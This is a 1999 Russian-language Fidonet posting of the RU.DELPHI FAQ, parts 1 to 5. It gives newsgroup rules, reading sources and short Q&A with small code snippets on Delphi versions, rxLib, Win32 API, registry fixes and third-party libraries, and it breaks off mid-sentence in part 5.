Delphi можно взять на http://delphi.da.ru = Виталий Бармин --- ifmail v.2.14dev3 * Origin: JV Izhcom Ltd. (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 267 of 341 - 258 + 278 From : Alexey_Mahotkin 2:5020/433 12 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [1/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 937095604 6096 127.0.0.1 (12 Sep 1999 00:20:04 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 12 Sep 1999 00:20:04 GMT Преамбула $Id: ru.delphi.f.a.q.tei,v 1.17 1999/06/11 20:53:48 alexm Exp alexm $ (faint directions) Этот F. A. Q. -- список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор -- Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор -- Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F. A. Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya Andreev (2:5030/55.28), Ivan Gudym (2:4642/2213.9), Igor Slusarev (2:5020/118.18), Juris Bekins (2:5100/35), Max Vystropov (2:5020/1412), Oleg Belousov (oberon(at)nvart.ru), Pavel Shklovsky (2:5011/18), Roman Procopovich (2:5030/254.201), Roman Rechmakov (2:5020/952.26), Stanislav Babin (2:5030/356.7), Serge Korolev (2:5020/104), Sergey Mazunov (2:5083/30.20), Sergey Maznichenko (2:5061/26.45), Sergey Okhapkin (ex-2:5020/47), Serg Vostrikov (2:5053/15.3), Sergey Arkhipov (2:5054/88.10), Sergey Belov (sbelov(at)aha.ru), Victor Babkin (2:463/279.6), Vlad Sharnin (vlad(at)nplks.rb.ru), Victor Ishikeev (ivi(at)ufanet.ru), Vladimir Vornichescu (2:469/101.24), vsbelashov(at)obs.omsk.ru. Если по какой-то причине вас нет в этом списке, тогда как вы считаете, что должны там находиться, прошу извинить и уведомить об этом прискорбном факте. Я также позволил себе не сопоставлять некоторые ответы с именами авторов этих ответов. Если вас не устраивает такая ситуация -- напишите об этом. _________________________________________________________________ Источники информации Прежде всего, конечно же, книги. Как бы это странно ни звучало, но зайдите в книжный магазин и купите себе там какую-нибудь книгу, даже если она уже у вас есть. Следует сразу предупредить, что специфика современного российского книгоиздания такова, что существует довольно большое количество книг, не стоящих своих денег. Вероятно, вам следует положиться на собственное чутье и тщательно изучить предлагаемую продукцию. Список литературы на все интересующие темы, рекомендованный к прочтению, находится в неофициальном F.A.Q. эхоконференции RU.BOOKS.COMPUTING. Свежие версии этого F.A.Q. регулярно публикуются в соответствующей эхоконференции, а также доступны на домашней странице автора. Учтите, что кроме книг по Delphi вас могут интересовать также издания, посвященные программированию под Windows и проектированию баз данных. Delphi, в сущности, является обычным компилятором для Windows, и довольно большое количество вопросов, которые у вас возникнут, будут не столь уж сильно ориентированы именно на Delphi. Само собой, хотелось бы увидеть у активного участника конференции определенные знания языка программирования Object Pascal, являющегося основой Delphi, а также знаний в области программирования вообще, программирования под Windows в частности, а также предметной области своей собственной задачи. Без всякого сомнения, вы можете общаться и задавать вопросы на любом уровне, но ожидайте соответствующей реакции извне. Hаучитесь также пользоваться системой помощи, поставляемой вместе с Delphi. Как это ни прискорбно, весьма ощутимый процент задаваемых в эхе вопросов легко снимается нажатием кнопки F1 и поиском примерного перевода вопроса на английский язык. Примером тому может являться сакраментальный вопрос о получении короткого имени файла из длинного и ответ: GetShortPathName. Да, скорее всего вам придется восполнить свои пробелы в школьном образовании и изучить некоторое подмножество английского языка, без коего вы имеете не столь много шансов успешно функционировать в выбранной области. Учтите наличие в поставке Delphi большого количества разнообразных примеров. Возможно, ознакомившись с ними, вы приобретете дополнительные знания. Изучите исходные тексты Visual Component Library, поставляемой вместе с Delphi Professional и Delphi Client/Server, а также хорошие образцы кодирования и проектирования, например, исходники rxLib. Возможно, вам следует приобрести тем или иным способом ту часть Microsoft Developer Network (MSDN), что содержит в себе документацию. Это диски с названиями "Platform SDK", "Additional SDKs and Tools" и "DDKs". В них содержится более свежая, более полная и обширная информация по всем аспектам программирования под Windows. Подписка на эту часть MSDN (это первый уровень) стоит не столь дорого и вы имеете все шансы купить ее, например, для своей организации. Более того, на [8]http://msdn.microsoft.com можно получить доступ к львиной доле документации из MSDN. Множество качественной информации, относящейся к программированию под Windows 95/NT, можно получить на [9]http://www.sysinternals.com. Hа [10]http://www.iarchitect.com находится большой ресурс, посвященный -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 268 of 341 - 259 + 279 From : Alexey_Mahotkin 2:5020/433 12 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [2/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 937095605 6099 127.0.0.1 (12 Sep 1999 00:20:05 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 12 Sep 1999 00:20:05 GMT вопросам построения пользовательского интерфейса. Если вам требуется работать с нестандартным железом, подумайте о написании драйвера. Это удобнее, проще и гибче. Соответствующая информация находится в DDK (Device Driver Development Kit). Самая известная фирма, занимающаяся поддержкой писателей драйверов -- Vireo. [11]http://www.vireo.com. Отдельно стоит упомянуть, что если вы всего лишь желаете работать с последовательными портами, то вам следует приобрести библиотеку Async Professional фирмы Turbo Power. Hа [12]http://www.entechtaiwan.com/tools.htm лежат TVicHW32 и TVicPort. Hа [13]http://www.bluewatersystems.com есть WinRT, а у все той же Vireo Software: Driver::Agent. Это все попытки избавить пользователя от написания драйверов. Традиционно обитатели RU.DELPHI питают заслуженную любовь и уважение к библиотеке rxLib. Это большая библиотека компонент для Delphi всех версий и C++Builder, распространяемая по системе freeware с полными исходными текстами и файлами помощи на русском языке. Выяснено, что эта библиотека способна покрыть очень большое количество запросов программистов на Delphi самого разного уровня, и в частности, именно на нее будут даваться обильные ссылки далее по тексту. Дополнительную информацию вы можете получить по адресу [14]ftp://195.161.18.8/RxLib/. По возможности фидошные обитатели RU.DELPHI помещают интересные файлы в так называемые файлэхи. Официальной файлэхой RU.DELPHI является WDEVDELPHI. Ценным ресурсом являются файлэхи группы FED* (модератор -- Акжан Абдулин, 2:5040/55). Если вы читаете RU.DELPHI из Фидо, то подпишитесь на эти файлэхи и научитесь пользоваться файловыми запросами (FReq'ами), так как многие узлы хранят файлы, проходившие по файлэхам, в течение довольно долгого времени. Обратитесь к вашему боссу в случае затруднений. Если же вы из Интернета, то поисковые машины, такие как [15]http://www.altavista.com, [16]http://ftpsearch.lycos.com, а также крупнейший архив ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Содержание [20]Преамбула [21]Доступность этого F.A.Q. [22]Сопутствующие проекты [23]Документы на русском языке [24]Документы на английском языке [25]Контрибуторы [26]Источники информации [27]Вопросы, связанные с конкретными версиями Delphi [28]Вопросы, однозначно сводящиеся к использованию rxLib [29]Вопросы, возникающие от неумения читать книжки [30]Библиотеки, инструменты и т. п. [31]Относительно большие ответы/примеры кода [32]Вопросы, связанные с программированием баз данных Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 269 of 341 - 260 + 280 From : Alexey_Mahotkin 2:5020/433 12 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 937095606 6102 127.0.0.1 (12 Sep 1999 00:20:06 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 12 Sep 1999 00:20:06 GMT if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? A: Ответ зависит от версии Delphi. Ежели кому интересно то на [33]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. Q: Как во время компиляции модуля определить, под какой версией Delphi она происходит? A: Используйте {$IFDEF VERXXX} . . . {$ELSE} . . . {$ENDIF} Пользуйтесь вот такой таблицей: * VER80 -- Delphi 1 * VER90 -- Delphi 2 * VER93 -- C++Builder 1 * VER100 -- Delphi 3 * VER110 -- C++Builder 3 * VER120 -- Delphi 4 (Sergey Anvarov, 2:5012/27.204) _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 270 of 341 - 261 + 281 From : Alexey_Mahotkin 2:5020/433 12 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 937095607 6105 127.0.0.1 (12 Sep 1999 00:20:07 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 12 Sep 1999 00:20:07 GMT Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [34]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Open Wait', nil, 0, handle); Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [35]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [36]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [37]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [38]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([39]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [40]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [41]http://www.signsoft.com/opengl. Информацию -- на [42]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [43]http://reality.sgi.com/mjk за примерами и [44]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [45]http://www.chami.com/tips/delphi/103096D.html Еще на [46]http://www.pbear.com лежат THTMLViewer и TFrameViewer. -- Пусть тени обходят тебя стороной // рецессивная святость --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 271 of 341 - 262 + 276 From : Alexey_Mahotkin 2:5020/433 12 Sep 99 03:20:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost.hsys.msk.ru .RFC-X-Trace: alexm.hsys.msk.ru 937095608 6108 127.0.0.1 (12 Sep 1999 00:20:08 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 12 Sep 1999 00:20:08 GMT Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [47]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [48]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать 